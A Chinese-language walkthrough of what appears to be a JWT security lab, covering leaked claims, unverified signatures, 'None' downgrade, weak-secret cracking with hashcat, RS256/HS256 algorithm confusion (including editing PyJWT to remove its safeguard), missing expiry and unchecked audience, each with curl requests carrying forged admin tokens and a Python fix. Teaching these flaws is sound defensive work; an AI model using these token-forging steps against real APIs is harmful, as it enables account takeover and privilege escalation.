一、基于令牌的身份验证
API 的兴起
应用程序编程接口,或简称 API,如今变得非常受欢迎。这一繁荣的关键原因之一是能够创建一个可以为多个不同接口提供服务的单个API,例如 Web 应用程序和移动应用程序。这使得相同的服务器端逻辑可以被集中和重复利用于所有接口。从安全角度来看,这通常也是有益的,因为这意味着我们可以在一个单独的API中实现服务器端安全,从而保护我们的服务器,无论使用哪种接口。
然而,随着 API 的兴起,也出现了新的会话管理方法。由于 cookie 通常与通过浏览器使用的 Web 应用程序相关联,因此基于 cookie 的 API 身份验证通常效果不佳,因为该解决方案对其他接口并不是不可知的。这就是基于令牌的会话管理派上用场的地方。
二、基于令牌的会话管理
基于令牌的会话管理是一个相对较新的概念。它不使用浏览器的自动 cookie 管理功能,而是依赖客户端代码来处理。身份验证后,Web 应用程序在请求体中提供一个令牌。使用客户端 JavaScript 代码,然后将此令牌存储在浏览器的 LocalStorage 中。
当发出新请求时,JavaScript 代码必须从存储中加载令牌并将其附加为标头。最常见的令牌类型之一是 JSON Web 令牌 (JWT),它们通过 Authorization: Bearer 标头传递。但是,由于我们不使用浏览器内置的 Cookie 管理功能,所以任何东西几乎都可以。尽管存在一些标准,但没有任何强制使其遵循这些标准。像 JWT 这样的令牌是一种标准化基于令牌的会话管理方式。
2.1 API 端点
API 项目只有一个 API 端点,即 http://MACHINE_IP/api/v1.0/exampleX
。其中的 X 被示例的数字替换。该端点访问两种 HTTP 方法:
•POST: 要进行身份验证并接收 JWT,需要使用在JSON格式中提供的凭据进行 POST 请求。
•GET: 获取有关用户详细信息,并最终执行特权升级以恢复任务标志。
2.2 API凭据
要对 API 进行身份验证,需要发送包含凭据的 JSON 主体,方式如下:
•username: user
•password: passwordX
X 需要替换为示例的编号。
2.3 API示例
以下是可以使用的两个 cURL 请求,用于与 API 进行交互。对于身份验证,可以使用以下 cURL 请求:
curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "passwordX" }' http://MACHINE_IP/api/v1.0/exampleX
用于用户验证,可以执行以下 cURL 请求:
curl -H 'Authorization: Bearer [JWT token]' http://MACHINE_IP/api/v1.0/example2?username=Y
[JWT token]组件必须用从第一个请求中收到的 JWT 替换。在这种情况下,Y可以是user或admin,取决于权限。
2.4 API 权限
在每个示例中的主要目标是获得管理员权限并验证这些权限。一旦获得一个设置为 1 的有效 JWT,可以请求管理员用户的详细信息。这将返回标志。第一个示例将展示该过程,但将需要复制其余示例的步骤。
JSON Web Tokens
JWTs 是自包含令牌,可用于安全传输会话信息。它是一种 开放标准 ,为任何想使用 JWT 的开发人员或库创建者提供信息。
JWT 结构
JWT 由三个组件组成,每个组件都经过 Base64Url 编码并由点分隔:
•Header - 通常表示令牌类型(JWT)和使用的签名算法。
•Payload - 负载是令牌的主体,其中包含声明。声明是为特定实体提供的信息片段。在 JWT 中,有注册声明,这些声明是由 JWT 标准预定义的,以及公共或私有声明。公共和私有声明是开发人员定义的那些声明。
•Signature - 签名是令牌的一部分,提供了验证令牌真实性的方法。签名是使用 JWT 标题中指定的算法创建的。
2.5 签名算法
尽管 JWT 标准中定义了几种不同的算法,但实际上只关心三种主要算法:
•None - 无算法意味着不使用签名算法。实际上,这是一个没有签名的 JWT,这意味着无法通过签名验证 JWT 中提供的声明。
•Symmetric Signing 对称签名- 诸如 HS265 之类的对称签名算法通过向 JWT 的标头和主体追加一个秘密值,然后生成哈希值来创建签名。任何了解秘钥的系统都可以执行对签名的验证。
•Asymmetric Signing - 非对称签名算法,比如RS256,通过使用私钥对JWT的头部和内容进行签名来创建签名。这是通过生成哈希值然后使用私钥加密哈希值而创建的。可以通过任何了解与用于创建签名的私钥相关联的公钥知识的系统执行对签名的验证。
2.6 签名的安全
JWTs 可以加密(称为 JWEs),但 JWTs 的关键功能来自签名。一旦 JWT 被签署,它就可以被发送给客户端,客户端可以在需要的地方使用这个 JWT。我们可以有一个集中式身份验证服务器,用于在多个应用程序上创建 JWTs。然后,每个应用程序可以验证 JWT 的签名;如果验证成功,JWT 中提供的声明就可以被信任和执行。
2.7 敏感信息泄露
常见的基于 cookie 的会话管理方法是使用服务器端会话存储多个参数。例如,在 PHP 中,可以使用$SESSION['var']=data 来存储与用户会话关联的值。这些值不会在客户端暴露,因此只能在服务器端恢复。然而,使用令牌,声明会暴露,因为整个 JWT 会发送给客户端。如果遵循相同的开发实践,敏感信息可能会泄露。一些真实应用中看到了一些例子:
•凭据泄露与密码哈希,甚至更糟糕的是明文密码被发送为声明。
•暴露内部网络信息,如认证服务器的私有 IP 或主机名。
示例 1
:
使用以下 cURL 请求进行身份验证到 API:
curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password1" }' http://MACHINE_IP/api/v1.0/example1
这将提供一个 JWT 令牌。一旦恢复,解码 JWT 的主体以揭示敏感信息。手动解码主体,也可以使用诸如JWT.io之类的网站进行此过程。
在该示例中,敏感信息被添加到声明中,如下所示:
payload = {"username" : username,"password" : password,"admin" : 0,"flag" : "[redacted]"
}access_token = jwt.encode(payload, self.secret, algorithm="HS256")
修复
像密码或标识这样的值不应添加为声明,因为 JWT 将被发送到客户端。相反,这些值应安全地存储在后端的服务器端。在需要时,可以从已验证的 JWT 中读取用户名,并用于查找这些值,就像下面的示例中所示:
payload = jwt.decode(token, self.secret, algorithms="HS256")username = payload['username']
flag = self.db_lookup(username, "flag")
2.8 签名验证错误
JWT 的第二个常见错误是未正确验证签名。如果签名未正确验证,威胁行为者可能能够伪造有效的 JWT 令牌以访问另一个用户的帐户。
2.9 不验证签名
第一个问题是签名验证中没有签名验证时。如果服务器不验证 JWT 的签名,那么可能修改 JWT 中的声明为喜欢的任何内容。虽然发现不进行签名验证的 API 是不常见的,但是可能有一个端点在 API 中被遗漏了签名验证。根据端点的敏感性,这可能会对业务产生重大影响。
示例 2
对API进行身份验证:
curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password2" }' http://10.10.154.149/api/v1.0/example2
验证用户:
curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.UWddiXNn-PSpe7pypTWtSRZJi1wr2M5cpr_8uWISMS4' http://10.10.154.149/api/v1.0/example2?username=user
尝试验证用户而不使用签名,移除 JWT 的第三部分(只留下句点),然后再次发出请求。会看到,验证仍然有效!这意味着签名没有经过验证。
修改有效载荷中的管理员声明为1,尝试作为管理员用户进行验证以检索标志。
修改为1
curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiYWRtaW4iOjF9.GkcMaQDWUQQht9yN7oye44wqL58d0T-0Qj90sSH0los' http://10.10.154.149/api/v1.0/example2?username=admin
这个例子中,如下所示没有验证签名:
payload = jwt.decode(token, options={'verify_signature': False})
在普通的 API 上很少见到这种情况,在服务器对服务器的 API 中经常发生。在威胁行为者直接访问后端服务器的情况下,JWTs 可能被伪造。
修复
JWT 应始终经过验证,或者应使用其他身份验证因素(如证书)以进行服务器对服务器的通信。JWT 可通过提供密钥(或公钥)进行验证,如下例所示:
payload = jwt.decode(token, self.secret, algorithms="HS256")
2.10 Downgrading to None 降级为无
另一个常见问题是签名算法降级。JWT 支持None签名算法,这实际上意味着 JWT 未使用任何签名。尽管这听起来有些愚蠢,但标准中的想法是为了服务器之间的通信,JWT 的签名在上游过程中验证。因此,第二个服务器将不需要验证签名。然而,假设开发人员没有锁定签名算法,或至少拒绝None算法。在这种情况下,可以简单地更改 JWT 中指定的算法为None,这将使用于签名验证的库始终返回 true,从而再次允许伪造令牌中的任何声明。
示例3
进行身份验证以获取 JWT,然后验证用户。要执行此攻击,需要手动更改标头中的alg声明为None。可以使用CyberChef,并使用 URL 编码的 Base64 选项进行操作。再次提交 JWT 以验证它是否仍然被接受,即使签名不再有效,因为已经进行了更改。然后可以更改admin声明以恢复标志。
虽然这也许看起来与先前的问题相同,但从开发的角度来看,它略微复杂一些。有时,开发人员希望确保他们的实现接受多个 JWT 签名验证算法。然后,实现通常会读取 JWT 的标头并解析找到的 alg,然后将其传递给签名验证组件,如下所示:
header = jwt.get_unverified_header(token)signature_algorithm = header['alg']payload = jwt.decode(token, self.secret, algorithms=signature_algorithm)
然而,当威胁行为者将 None 指定为算法时,签名验证被绕过。 在此房间中使用的 JWT 库 Pyjwt 已经实施了安全编码以防止这个问题。如果在选择了 None 算法时指定了秘钥,则会引发异常。
curl -H 'Authorization: Bearer ew0KICAidHlwIjogIkpXVCIsDQogICJhbGciOiAiTm9uZSINCn0=.eyJ1c2VybmFtZSI6ImFkbWluIiwiYWRtaW4iOjF9.GkcMaQDWUQQht9yN7oye44wqL58d0T-0Qj90sSH0los' http://10.10.154.149/api/v1.0/example3?username=admin
修复
如果应支持多个签名算法,则应将支持的算法作为数组列表提供给解码函数,如下所示:
payload = jwt.decode(token, self.secret, algorithms=["HS256", "HS384", "HS512"])username = payload['username']
flag = self.db_lookup(username, "flag")
2.11 弱对称密钥
如果使用对称签名算法,则 JWT 的安全性取决于使用的密钥的强度和熵。如果使用弱密钥,则可能会进行离线破解以恢复密钥。一旦知道密钥值,可以再次修改 JWT 中的声明并使用密钥重新计算有效签名。
示例 4
使用了一个较弱的秘钥来生成 JWT。一旦收到 JWT,有几种选项来破解秘钥。对于我们的例子,我们将讨论使用 Hashcat 来破解 JWT 的秘钥。也可以使用其他解决方案,比如 John。可以使用以下步骤来破解秘钥:
1.将 JWT 保存到一个名为 jwt.txt 的文本文件中。
2.下载一个常见的 JWT 秘密列表。对于这个房间,可以使用 wget https://raw.githubusercontent.com/wallarm/jwt-secrets/master/jwt.secrets.list
来下载这样一个列表。
3.使用 Hashcat 工具来破解使用hashcat -m 16500 -a 0 jwt.txt jwt.secrets.list
的密码
一旦知道密码是什么,就可以伪造一个新的管理员令牌
curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password4" }' http://10.10.154.149/api/v1.0/example4
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.yN1f3Rq8b26KEUYHCZbEwEk6LVzRYtbGzJMFIF8i5HY
hashcat -m 16500 -a 0 jwt.txt jwt.secrets.list
secret
curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiYWRtaW4iOjF9.R_W3WxiyPIyIaYxD-PCY8PzDxd_DQKNkIDu9_KyzLzU' http://10.10.154.149/api/v1.0/example4?username=admin
修复
应选择一个安全的秘密值。由于此值将用于软件而不是由人类使用,因此应使用一个长而随机的字符串作为秘密值。
2.12 签名算法混淆
最后一个关于签名验证的常见问题是可以执行算法混淆攻击。这类似于None降级攻击,但是,它在对称和非对称签名算法之间的混淆上特别发生。例如,如果使用非对称签名算法 RS256,可能会将算法降级为 HS256。在这些情况下,一些库可能会默认返回将公钥用作对称签名算法的密钥。由于公钥是已知的,可以使用 HS256 算法结合公钥来伪造一个有效签名。
示例 5
这类似于示例 3。除了这次,不允许使用 None 算法。然而,一旦验证示例,还将收到公钥。由于公钥不被视为敏感信息,通常可以找到公钥。有时,公钥甚至被嵌入到 JWT 中作为声明。在这个示例中,必须将算法降级为 HS256,然后使用公钥作为秘钥对 JWT 进行签名。可以使用下面提供的脚本来协助伪造这个 JWT:
import jwtpublic_key = "ADD_KEY_HERE"payload = {'username' : 'user','admin' : 0
}access_token = jwt.encode(payload, public_key, algorithm="HS256")
print (access_token)
请注意:我们建议在实际示例中使用 AttackBox,因为 Pyjwt 已经为安装好了。在运行脚本之前,使用喜欢的文本编辑器编辑文件 /usr/lib/python3/dist-packages/jwt/algorithms.py 并转到第143行。然后继续注释掉143-146行并运行脚本。如果正在使用自己的VM,可能需要安装 Pyjwt(pip3 install pyjwt)来使用此脚本。还需要篡改 Pyjwt 库的 algorithm.py 文件,去掉第258行的is_ssh_key条件,因为一个针对此漏洞的补丁已经发布。请记住,这个位置可能会因 VM 和安装而异。如果不熟悉库代码编辑,更简单的方法是利用jwt.io。一旦验证它可以运行,可以修改声明,使自己成为管理员并恢复标记。
这个例子中的错误类似于例 3 的错误,但稍微复杂一点。虽然禁止使用空算法,但关键问题源于对称和非对称签名算法都被允许,如下例所示:
payload = jwt.decode(token, self.secret, algorithms=["HS256", "HS384", "HS512", "RS256", "RS384", "RS512"])
应注意永远不要混合签名算法,因为解码功能的秘密参数可能会在秘密或公钥之间产生混淆。
curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password5" }' http://10.10.154.149/api/v1.0/example5
{"public_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHSoarRoLvgAk4O41RE0w6lj2e7TDTbFk62WvIdJFo/aSLX/x9oc3PDqJ0Qu1x06/8PubQbCSLfWUyM7Dk0+irzb/VpWAurSh+hUvqQCkHmH9mrWpMqs5/L+rluglPEPhFwdL5yWk5kS7rZMZz7YaoYXwI7Ug4Es4iYbf6+UV0sudGwc3HrQ5uGUfOpmixUO0ZgTUWnrfMUpy2dFbZp7puQS6T8b5EJPpLY+iojMb/rbPB34NrvJKU1F84tfvY8xtg3HndTNPyNWp7EOsujKZIxKF5/RdW+Qf9jjBMvsbjfCo0LiNVjpotiLPVuslsEWun+LogxR+fxLiUehSBb8ip","token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.kR4DjBkwFE9dzPNeiboHqkPhs52QQgaHcC2_UGCtJ3qo2uY-vANIC6qicdsfT37McWYauzm92xflspmSVvrvwXdC2DAL9blz3YRfUOcXJT03fVM7nGp8E7uWSBy9UESLQ6PBZ_c_dTUJhWg35K3d8Jao2czC0JGN3EQxhcCGtxJ1R7T9tzBMaqW-IRXfTCq3BOxVVF66ePEfvG7gdyjAnWrQFktRBIhU4LoYwem3UZ7PolFf0v2i6jpnRJzMpqd2c9oMHOjhCZpy_yJNl-1F_UBbAF1L-pn6SHBOFdIFt_IasJDVPr1Ybv75M26o8OBwUJ1KK_rwX41y5BCNGcks9Q"
}
使用脚本
import jwtpublic_key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHSoarRoLvgAk4O41RE0w6lj2e7TDTbFk62WvIdJFo/aSLX/x9oc3PDqJ0Qu1x06/8PubQbCSLfWUyM7Dk0+irzb/VpWAurSh+hUvqQCkHmH9mrWpMqs5/L+rluglPEPhFwdL5yWk5kS7rZMZz7YaoYXwI7Ug4Es4iYbf6+UV0sudGwc3HrQ5uGUfOpmixUO0ZgTUWnrfMUpy2dFbZp7puQS6T8b5EJPpLY+iojMb/rbPB34NrvJKU1F84tfvY8xtg3HndTNPyNWp7EOsujKZIxKF5/RdW+Qf9jjBMvsbjfCo0LiNVjpotiLPVuslsEWun+LogxR+fxLiUehSBb8ip"payload = {'username' : 'admin','admin' : 1
}access_token = jwt.encode(payload, public_key, algorithm="HS256")
print (access_token)
curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiYWRtaW4iOjF9.PqBj1AKVA29470LnE7FbGonZ-NgzDCWhI8C-jr_Rjwc' http://10.10.154.149/api/v1.0/example5?username=admin
修复
虽然可以允许使用两种类型的签名算法,但需要更多逻辑来确保不会造成混淆,如下例所示:
header = jwt.get_unverified_header(token)algorithm = header['alg']
payload = ""if "RS" in algorithm:payload = jwt.decode(token, self.public_key, algorithms=["RS256", "RS384", "RS512"])
elif "HS" in algorithm:payload = jwt.decode(token, self.secret, algorithms=["HS256", "HS384", "HS512"])username = payload['username']
flag = self.db_lookup(username, "flag")
2.13 JWT 生命周期
令牌有效期
在验证令牌的签名之前,应计算令牌的生存期,以确保令牌尚未过期。通常通过读取令牌中的 exp(到期时间)声明并计算令牌是否仍然有效来执行此操作。
一个常见的问题是如果exp值设置得太大(或根本没有设置),那么令牌可能会变得有效时间太长,甚至永不过期。使用 Cookie 时,可以在服务器端使 Cookie 过期。然而,JWT 不具备这个内置功能。如果我们希望在exp时间之前使令牌过期,我们必须保留这些令牌的阻止列表,打破了使用相同身份验证服务器的去中心化应用程序的模型。因此,在选择正确的exp值时应该小心,考虑到应用程序的功能。例如,一个邮件服务器和一个银行应用程序之间可能会使用不同的exp值。
另一种方法是使用刷新令牌。
示例 6
在此示例中,JWT 实现未指定 exp 值,意味着令牌是永久持久的。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.ko7EQiATQQzrQPwRO8ZTY37pQWGLPZWEvdWH0tVDNPU
curl -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.ko7EQiATQQzrQPwRO8ZTY37pQWGLPZWEvdWH0tVDNPU' http://10.10.234.169/api/v1.0/example6?username=admin
与上文提到的相同,JWT 没有exp 值,这意味着它将是持久的。如果不存在exp 声明,大多数 JWT 库将在签名经过验证时接受令牌为有效。
修复
应该向声明添加一个exp值。添加后,大多数库将包括查看 JWT 到期时间以进行有效性检查。可以按照下面的示例进行操作:
lifetime = datetime.datetime.now() + datetime.timedelta(minutes=5)payload = {'username' : username,'admin' : 0,'exp' : lifetime
}access_token = jwt.encode(payload, self.secret, algorithm="HS256")
2.14 跨服中继攻击
最后一个常见的错误配置是一个跨服务的错误配置。如前所述,JWT 经常在具有集中式认证系统的系统中使用,该系统为多个应用程序提供服务。然而,在某些情况下,可能希望限制使用 JWT 访问的应用程序,特别是存在只应该对某些应用程序有效的声明时。
受众声明
JWTs 可能具有受众声明。在单个身份验证系统提供多个应用程序的情况下,受众声明可以指示 JWT 所针对的应用程序。然而,对这个受众声明的强制执行必须在应用程序本身而非身份验证服务器上发生。如果这个声明没有经过验证,由于 JWT 本身通过签名验证仍被视为有效,可能会产生意外后果。
如果一个用户在某个应用程序上具有管理员权限或更高角色。分配给用户的 JWT 通常具有一个声明,指示这一点,比如"admin" : true。然而,同一用户可能在由同一身份验证系统提供服务的另一个应用程序上不是管理员。如果在第二个应用程序上未验证受众声明,而该应用程序也使用其管理员声明,服务器可能错误地认为用户具有管理员权限。这被称为跨服务中继攻击:
示例 7
对于这个最后的实际示例,有两个API端点,分别是example7_appA和example7_appB。可以使用在之前示例中所做的相同 GET 请求来恢复标记,但需要将其指向这些端点。此外,对于身份验证,现在还需要在向example7发出的登录请求中包含"application" : "appX"数据值。请按照以下步骤执行示例:
1.认证到example7,使用以下数据段: '{ "username" : "user", "password" : "password7", "application" : "appA"}'
。将注意到添加了一个观众声明,但不是管理员。
2.在向example7_appA和example7_appB发起的管理和用户请求中使用此令牌。会注意到,尽管 appA 接受令牌,但不是管理员,并且由于受众不正确,appB 不接受令牌。
3.验证使用以下数据段对example7进行身份验证: '{ "username" : "user", "password" : "password7", "application" : "appB"}'
。将注意到再次添加了受众声明,并且这次是管理员。
4.再次使用此令牌验证自己在两个应用程序上,并查看发生了什么。
关键问题是在 appA 上受众声明没有经过验证。这可能是因为受众声明验证已被关闭,或者受众范围设置过宽。
curl -H 'Content-Type: application/json' -X POST -d '{ "username": "user", "password": "password7", "application": "appB" }' http://10.10.234.169/api/v1.0/example7
curl -H 'Content-Type: application/json' -X POST -d '{ "username": "user", "password": "password7", "application": "appA" }' http://10.10.234.169/api/v1.0/example7
curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MSwiYXVkIjoiYXBwQiJ9.jrTcVTGY9VIo-a-tYq_hvRTfnB4dMi_7j98Xvm-xb6o' http://10.10.234.169/api/v1.0/example7_appB?username=admin
curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MSwiYXVkIjoiYXBwQiJ9.jrTcVTGY9VIo-a-tYq_hvRTfnB4dMi_7j98Xvm-xb6o' http://10.10.234.169/api/v1.0/example7_appA?username=admin
修复
受众声明应在令牌解码时进行验证。可以按照下面的示例进行操作:
payload = jwt.decode(token, self.secret, audience=["appA"], algorithms="HS256")
规避潜在漏洞
•JWTs 被发送到客户端并且编码,敏感信息不应存储在其中。
•JWT 的安全性取决于其签名。在验证签名时应谨慎,以确保没有混淆或使用弱密钥。
•JWTs 应该过期并具有合理的生命周期,以避免威胁行为者使用持久的 JWT。
•在 SSO 环境中,受众声明对确保特定应用程序的 JWT 仅在该应用程序上使用至关重要。
个人观点,仅供参考
原创 长风实验室